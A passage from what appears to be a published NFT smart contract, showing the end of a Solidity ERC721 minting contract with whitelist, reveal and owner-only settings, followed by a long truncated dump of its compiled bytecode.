require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()) { if(onlyWhitelisted == true) { require(isWhitelisted(msg.sender), "user is not whitelisted"); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); } require(msg.value >= cost * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function isWhitelisted(address _user) public view returns (bool) { for (uint i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxSupply(uint256 _newmaxSupply) public onlyOwner { maxSupply = _newmaxSupply; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
0x60806040526004361061027d5760003560e01c80636352211e1161014f578063b88d4fde116100c1578063d5abeb011161007a578063d5abeb0114610990578063da3ef23f146109bb578063e985e9c5146109e4578063edec5f2714610a21578063f2c4ce1e14610a4a578063f2fde38b14610a735761027d565b8063b88d4fde1461086e578063ba4e5c4914610897578063ba7d2c76146108d4578063c6682862146108ff578063c87b56dd1461092a578063d0eb26b0146109675761027d565b80638da5cb5b116101135780638da5cb5b1461079157806395d89b41146107bc5780639c70b512146107e7578063a0712d6814610812578063a22cb4651461082e578063a475b5dd146108575761027d565b80636352211e146106ac5780636c0360eb146106e957806370a0823114610714578063715018a6146107515780637f00c7a6146107685761027d565b806323b872dd116101f3578063438b6300116101ac578063438b63001461058a57806344a0d68a146105c75780634f6ccce7146105f0578063518302271461062d57806355f804b3146106585780635c975abb146106815761027d565b806323b872dd1461048b5780632f745c59146104b45780633af32abf146104f15780633c9527641461052e5780633ccfd60b1461055757806342842e0e146105615761027d565b8063095ea7b311610245578063095ea7b31461037b57806313faede6146103a457806318160ddd146103cf57806318cae269146103fa578063228025e814610437578063239c70ae146104605761027d565b806301ffc9a71461028257806302329a29146102bf57806306fdde03146102e8578063081812fc14610313578063081c8c4414610350575b600080fd5b34801561028e57600080fd5b506102a960048036038101906102a49190613add565b610a9c565b6040516102b691906141de565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e19190613ab0565b610b16565b005b3480156102f457600080fd5b506102fd610baf565b60405161030a91906141f9565b60405180910390f35b34801561031f57600080fd5b5061033a60048036038101906103359190613b80565b610c41565b6040516103479190614155565b60405180910390f35b34801561035c57600080fd5b50610365610cc6565b60405161037291906141f9565b60405180910390f35b34801561038757600080fd5b506103a2600480360381019061039d9190613a23565b610d54565b005b3480156103b057600080fd5b506103b9610e6c565b6040516103c6919061453b565b60405180910390f35b3480156103db57600080fd5b506103e4610e72565b6040516103f1919061453b565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c91906138a0565b610e7f565b60405161042e919061453b565b60405180910390f35b34801561044357600080fd5b5061045e60048036038101906104599190613b80565b610e97565b005b34801561046c57600080fd5b50610475610f1d565b604051610482919061453b565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad919061390d565b610f23565b005b3480156104c057600080fd5b506104db60048036038101906104d69190613a23565b610f83565b6040516104e8919061453b565b60405180910390f35b3480156104fd57600080fd5b50610518600480360381019061051391906138a0565b611028565b60405161052591906141de565b60405180910390f35b34801561053a57600080fd5b5061055560048036038101906105509190613ab0565b6110d7565b005b61055f611170565b005b34801561056d57600080fd5b506105886004803603810190610583919061390d565b61126c565b005b34801561059657600080fd5b506105b160048036038101906105ac91906138a0565b61128c565b6040516105be91906141bc565b60405180910390f35b3480156105d357600080fd5b506105ee60048036038101906105e99190613b80565b61133a565b005b3480156105fc57600080fd5b5061061760048036038101906106129190613b80565b6113c0565b604051610624919061453b565b60405180910390f35b34801561063957600080fd5b50610642611431565b60405161064f91906141de565b60405180910390f35b34801561066457600080fd5b5061067f600480360381019061067a9190613b37565b611444565b005b34801561068d57600080fd5b506106966114da565b6040516106a391906141de565b60405180910390f35b3480156106b857600080fd5b506106d360048036038101906106ce9190613b80565b6114ed565b6040516106e09190614155565b60405180910390f35b3480156106f557600080fd5b506106fe61159f565b60405161070b91906141f9565b60405180910390f35b34801561072057600080fd5b5061073b600480360381019061073691906138a0565b61162d565b604051610748919061453b565b60405180910390f35b34801561075d57600080fd5b506107666116e5565b005b34801561077457600080fd5b5061078f600480360381019061078a9190613b80565b61176d565b005b34801561079d57600080fd5b506107a66117f3565b6040516107b39190614155565b60405180910390f35b3480156107c857600080fd5b506107d161181d565b6040516107de91906141f9565b60405180910390f35b3480156107f357600080fd5b506107fc6118af565b60405161080991906141de565b60405180910390f35b61082c60048036038101906108279190613b80565b6118c2565b005b34801561083a57600080fd5b50610855600480360381019061085091906139e3565b611c0b565b005b34801561086357600080fd5b5061086c611c21565b005b34801561087a57600080fd5b5061089560048036038101906108909190613960565b611cba565b005b3480156108a357600080fd5b506108be60048036038101906108b99190613b80565b611d1c565b6040516108cb9190614155565b60405180910390f35b3480156108e057600080fd5b506108e9611d5b565b6040516108f6919061453b565b60405180910390f35b34801561090b57600080fd5b50610914611d61565b60405161092191906141f9565b60405180910390f35b34801561093657600080fd5b50610951600480360381019061094c9190613b80565b611def565b60405161095e91906141f9565b60405180910390f35b34801561097357600080fd5b5061098e60048036038101906109899190613b80565b611f48565b005b34801561099c57600080fd5b506109a5611fce565b6040516109b2919061453b565b60405180910390f35b3480156109c757600080fd5b506109e260048036038101906109dd9190613b37565b611fd4565b005b3480156109f057600080fd5b50610a0b6004803603810190610a0691906138cd565b61206a565b604051610a1891906141de565b60405180910390f35b348015610a2d57600080fd5b50610a486004803603810190610a439190613a63565b6120fe565b005b348015610a5657600080fd5b50610a716004803603810190610a6c9190613b37565b61219e565b005b348015610a7f57600080fd5b50610a9a6004803603810190610a9591906138a0565b612234565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610b0f5750610b0e8261232c565b5b9050919050565b610b1e61240e565b73ffffffffffffffffffffffffffffffffffffffff16610b3c6117f3565b73ffffffffffffffffffffffffffffffffffffffff1614610b92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b899061441b565b60405180910390fd5b80601260006101000a81548160ff02191690831515021790555050565b606060008054610bbe90614844565b80601f0160208091040260200160405190810160405280929190818152602001828054610bea90614844565b8015610c375780601f10610c0c57610100808354040283529160200191610c37565b820191906000526020600020905b815481529060010190602001808311610c1a57829003601f168201915b5050505050905090565b6000610c4c82612416565b610c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c82906143fb565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600d8054610cd390614844565b80601f0160208091040260200160405190810160405280929190818152602001828054610cff90614844565b8015610d4c5780601f10610d2157610100808354040283529160200191610d4c565b820191906000526020600020905b815481529060010190602001808311610d2f57829003601f168201915b505050505081565b6000610d5f826114ed565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc79061447b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610def61240e565b73ffffffffffffffffffffffffffffffffffffffff161480610e1e5750610e1d81610e1861240e565b61206a565b5b610e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e549061433b565b60405180910390fd5b610e678383612482565b505050565b600e5481565b6000600880549050905090565b60146020528060005260406000206000915090505481565b610e9f61240e565b73ffffffffffffffffffffffffffffffffffffffff16610ebd6117f3565b73ffffffffffffffffffffffffffffffffffffffff1614610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a9061441b565b60405180910390fd5b80600f8190555050565b60105481565b610f34610f2e61240e565b8261253b565b610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a906144bb565b60405180910390fd5b610f7e838383612619565b505050565b6000610f8e8361162d565b8210610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc69061421b565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b600080600090505b6013805490508110156110cc578273ffffffffffffffffffffffffffffffffffffffff1660138281548110611068576110676149dd565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156110b95760019150506110d2565b80806110c4906148a7565b915050611030565b50600090505b919050565b6110df61240e565b73ffffffffffffffffffffffffffffffffffffffff166110fd6117f3565b73ffffffffffffffffffffffffffffffffffffffff1614611153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114a9061441b565b60405180910390fd5b80601260026101000a81548160ff02191690831515021790555050565b61117861240e565b73ffffffffffffffffffffffffffffffffffffffff166111966117f3565b73ffffffffffffffffffffffffffffffffffffffff16146111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e39061441b565b60405180910390fd5b60006111f66117f3565b73ffffffffffffffffffffffffffffffffffffffff164760405161121990614140565b60006040518083038185875af1925050503d8060008114611256576040519150601f19603f3d011682016040523d82523d6000602084013e61125b565b606091505b505090508061126957600080fd5b50565b61128783838360405180602001604052806000815250611cba565b505050565b606060006112998361162d565b905060008167ffffffffffffffff8111156112b7576112b6614a0c565b5b6040519080825280602002602001820160405280156112e55781602001602082028036833780820191505090505b50905060005b8281101561132f576112fd8582610f83565b8282815181106113105761130f6149dd565b5b6020026020010181815250508080611327906148a7565b9150506112eb565b508092505050919050565b61134261240e565b73ffffffffffffffffffffffffffffffffffffffff166113606117f3565b73ffffffffffffffffffffffffffffffffffffffff16146113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad9061441b565b60405180910390fd5b80600e8190555050565b60006113ca610e72565b821061140b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611402906144db565b60405180910390fd5b6008828154811061141f5761141e6149dd565b5b90600052602060002001549050919050565b601260019054906101000a900460ff1681565b61144c61240e565b73ffffffffffffffffffffffffffffffffffffffff1661146a6117f3565b73ffffffffffffffffffffffffffffffffffffffff16146114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b79061441b565b60405180910390fd5b80600b90805190602001906114d692919061359d565b5050565b601260009054906101000a900460ff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d9061437b565b60405180910390fd5b80915050919050565b600b80546115ac90614844565b80601f01602080910402602001604051908101604052809291908181526020018280546115d890614844565b80156116255780601f106115fa57610100808354040283529160200191611625565b820191906000526020600020905b81548152906001019060200180831161160857829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561169e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116959061435b565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116ed61240e565b73ffffffffffffffffffffffffffffffffffffffff1661170b6117f3565b73ffffffffffffffffffffffffffffffffffffffff1614611761576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117589061441b565b60405180910390fd5b61176b6000612880565b565b61177561240e565b73ffffffffffffffffffffffffffffffffffffffff166117936117f3565b73ffffffffffffffffffffffffffffffffffffffff16146117e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e09061441b565b60405180910390fd5b8060108190555050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461182c90614844565b80601f016020809104026020016040519081016040528092919081815260200182805461185890614844565b80156118a55780601f1061187a576101008083540402835291602001916118a5565b820191906000526020600020905b81548152906001019060200180831161188857829003601f168201915b5050505050905090565b601260029054906101000a900460ff1681565b601260009054906101000a900460ff1615611912576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119099061443b565b60405180910390fd5b600061191c610e72565b905060008211611961576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119589061451b565b60405180910390fd5b6010548211156119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d906143bb565b60405180910390fd5b600f5482826119b59190614679565b11156119f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ed9061439b565b60405180910390fd5b6119fe6117f3565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b7b5760011515601260029054906101000a900460ff1615151415611b2a57611a5533611028565b611a94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8b906144fb565b60405180910390fd5b6000601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506011548382611ae79190614679565b1115611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f906142bb565b60405180910390fd5b505b81600e54611b389190614700565b341015611b7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b719061449b565b60405180910390fd5b5b6000600190505b828111611c0657601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611bd9906148a7565b9190505550611bf3338284611bee9190614679565b612946565b8080611bfe906148a7565b915050611b82565b505050565b611c1d611c1661240e565b8383612964565b5050565b611c2961240e565b73ffffffffffffffffffffffffffffffffffffffff16611c476117f3565b73ffffffffffffffffffffffffffffffffffffffff1614611c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c949061441b565b60405180910390fd5b6001601260016101000a81548160ff021916908315150217905550565b611ccb611cc561240e565b8361253b565b611d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d01906144bb565b60405180910390fd5b611d1684848484612ad1565b50505050565b60138181548110611d2c57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b600c8054611d6e90614844565b80601f0160208091040260200160405190810160405280929190818152602001828054611d9a90614844565b8015611de75780601f10611dbc57610100808354040283529160200191611de7565b820191906000526020600020905b815481529060010190602001808311611dca57829003601f168201915b505050505081565b6060611dfa82612416565b611e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e309061445b565b60405180910390fd5b60001515601260019054906101000a900460ff1615151415611ee757600d8054611e6290614844565b80601f0160208091040260200160405190810160405280929190818152602001828054611e8e90614844565b8015611edb5780601f10611eb057610100808354040283529160200191611edb565b820191906000526020600020905b815481529060010190602001808311611ebe57829003601f168201915b50505050509050611f43565b6000611ef1612b2d565b90506000815111611f115760405180602001604052806000815250611f3f565b80611f1b84612bbf565b600c604051602001611f2f9392919061410f565b6040516020818303038152906040525b9150505b919050565b611f5061240e565b73ffffffffffffffffffffffffffffffffffffffff16611f6e6117f3565b73ffffffffffffffffffffffffffffffffffffffff1614611fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbb9061441b565b60405180910390fd5b8060118190555050565b600f5481565b611fdc61240e565b73ffffffffffffffffffffffffffffffffffffffff16611ffa6117f3565b73ffffffffffffffffffffffffffffffffffffffff1614612050576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120479061441b565b60405180910390fd5b80600c908051906020019061206692919061359d565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61210661240e565b73ffffffffffffffffffffffffffffffffffffffff166121246117f3565b73ffffffffffffffffffffffffffffffffffffffff161461217a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121719061441b565b60405180910390fd5b601360006121889190613623565b818160139190612199929190613644565b505050565b6121a661240e565b73ffffffffffffffffffffffffffffffffffffffff166121c46117f3565b73ffffffffffffffffffffffffffffffffffffffff161461221a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122119061441b565b60405180910390fd5b80600d908051906020019061223092919061359d565b5050565b61223c61240e565b73ffffffffffffffffffffffffffffffffffffffff1661225a6117f3565b73ffffffffffffffffffffffffffffffffffffffff16146122b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a79061441b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123179061425b565b60405180910390fd5b61232981612880565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806123f757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80612407575061240682612d20565b5b9050919050565b600033905090565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166124f5836114ed565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061254682612416565b612585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257c9061431b565b60405180910390fd5b6000612590836114ed565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806125ff57508373ffffffffffffffffffffffffffffffffffffffff166125e784610c41565b73ffffffffffffffffffffffffffffffffffffffff16145b80612610575061260f818561206a565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16612639826114ed565b73ffffffffffffffffffffffffffffffffffffffff161461268f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126869061427b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f6906142db565b60405180910390fd5b61270a838383612d8a565b612715600082612482565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612765919061475a565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127bc9190614679565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461287b838383612e9e565b505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612960828260405180602001604052806000815250612ea3565b5050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156129d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ca906142fb565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051612ac491906141de565b60405180910390a3505050565b612adc848484612619565b612ae884848484612efe565b612b27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1e9061423b565b60405180910390fd5b50505050565b6060600b8054612b3c90614844565b80601f0160208091040260200160405190810160405280929190818152602001828054612b6890614844565b8015612bb55780601f10612b8a57610100808354040283529160200191612bb5565b820191906000526020600020905b815481529060010190602001808311612b9857829003601f168201915b5050505050905090565b60606000821415612c07576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612d1b565b600082905060005b60008214612c39578080612c22906148a7565b915050600a82612c3291906146cf565b9150612c0f565b60008167ffffffffffffffff811115612c5557612c54614a0c565b5b6040519080825280601f01601f191660200182016040528015612c875781602001600182028036833780820191505090505b5090505b60008514612d1457600182612ca0919061475a565b9150600a85612caf91906148f0565b6030612cbb9190614679565b60f81b818381518110612cd157612cd06149dd565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612d0d91906146cf565b9450612c8b565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612d95838383613095565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612dd857612dd38161309a565b612e17565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612e1657612e1583826130e3565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e5a57612e5581613250565b612e99565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612e9857612e978282613321565b5b5b505050565b505050565b612ead83836133a0565b612eba6000848484612efe565b612ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ef09061423b565b60405180910390fd5b505050565b6000612f1f8473ffffffffffffffffffffffffffffffffffffffff1661357a565b15613088578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612f4861240e565b8786866040518563ffffffff1660e01b8152600401612f6a9493929190614170565b602060405180830381600087803b158015612f8457600080fd5b505af1925050508015612fb557506040513d601f19601f82011682018060405250810190612fb29190613b0a565b60015b613038573d8060008114612fe5576040519150601f19603f3d011682016040523d82523d6000602084013e612fea565b606091505b50600081511415613030576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130279061423b565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061308d565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016130f08461162d565b6130fa919061475a565b90506000600760008481526020019081526020016000205490508181146131df576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050613264919061475a565b9050600060096000848152602001908152602001600020549050600060088381548110613294576132936149dd565b5b9060005260206000200154905080600883815481106132b6576132b56149dd565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480613305576133046149ae565b5b6001900381819060005260206000200160009055905550505050565b600061332c8361162d565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613410576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613407906143db565b60405180910390fd5b61341981612416565b15613459576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134509061429b565b60405180910390fd5b61346560008383612d8a565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546134b59190614679565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461357660008383612e9e565b5050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b8280546135a990614844565b90600052602060002090601f0160209004810192826135cb5760008555613612565b82601f106135e457805160ff1916838001178555613612565b82800160010185558215613612579182015b828111156136115782518255916020019190600101906135f6565b5b50905061361f91906136e4565b5090565b508054600082559060005260206000209081019061364191906136e4565b50565b8280548282559060005260206000209081019282156136d3579160200282015b828111156136d257823573ffffffffffffffffffffffffffffffffffffffff168260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190613664565b5b5090506136e091906136e4565b5090565b5b808211156136fd5760008160009055506001016136e5565b5090565b600061371461370f8461457b565b614556565b9050828152602081018484840111156137305761372f614a4a565b5b61373b848285614802565b509392505050565b6000613756613751846145ac565b614556565b90508281526020810184848401111561377257613771614a4a565b5b61377d848285614802565b509392505050565b600081359050613794816150a8565b92915050565b60008083601f8401126137b0576137af614a40565b5b8235905067ffffffffffffffff8111156137cd576137cc614a3b565b5b6020830191508360208202830111156137e9576137e8614a45565b5b9250929050565b6000813590506137ff816150bf565b92915050565b600081359050613814816150d6565b92915050565b600081519050613829816150d6565b92915050565b600082601f83011261384457613843614a40565b5b8135613854848260208601613701565b91505092915050565b600082601f83011261387257613871614a40565b5b8135613882848260208601613743565b91505092915050565b60008135905061389a816150ed565b92915050565b6000602082840312156138b6576138b5614a54565b5b60006138c484828501613785565b91505092915050565b600080604083850312156138e4576138e3614a54565b5b60006138f285828601613785565b925050602061390385828601613785565b9150509250929050565b60008060006060848603121561392657613925614a54565b5b600061393486828701613785565b935050602061394586828701613785565b92505060406139568682870161388b565b9150509250925092565b6000806000806080858703121561397a57613979614a54565b5b600061398887828801613785565b945050602061399987828801613785565b93505060406139aa8782880161388b565b925050606085013567ffffffffffffffff8111156139cb576139ca614a4f565b5b6139d78782880161382f565b91505092959194509250565b600080604083850312156139fa576139f9614a54565b5b6000613a0885828601613785565b9250506020613a19858286016137f0565b9150509250929050565b60008060408385031215613a3a57613a39614a54565b5b6000613a4885828601613785565b9250506020613a598582860161388b565b9150509250929050565b60008060208385031215613a7a57613a79614a54565b5b600083013567ffffffffffffffff811115613a9857613a97614a4f565b5b613aa48582860161379a565b92509250509250929050565b600060208284031215613ac657613ac5614a54565b5b6000613ad4848285016137f0565b91505092915050565b600060208284031215613af357613af2614a54565b5b6000613b0184828501613805565b91505092915050565b600060208284031215613b2057613b1f614a54565b5b6000613b2e8482850161381a565b91505092915050565b600060208284031215613b4d57613b4c614a54565b5b600082013567ffffffffffffffff811115613b6b57613b6a614a4f565b5b613b778482850161385d565b91505092915050565b600060208284031215613b9657613b95614a54565b5b6000613ba48482850161388b565b91505092915050565b6000613bb983836140f1565b60208301905092915050565b613bce8161478e565b82525050565b6000613bdf82614602565b613be98185614630565b9350613bf4836145dd565b8060005b83811015613c25578151613c0c8882613bad565b9750613c1783614623565b925050600181019050613bf8565b5085935050505092915050565b613c3b816147a0565b82525050565b6000613c4c8261460d565b613c568185614641565b9350613c66818560208601614811565b613c6f81614a59565b840191505092915050565b6000613c8582614618565b613c8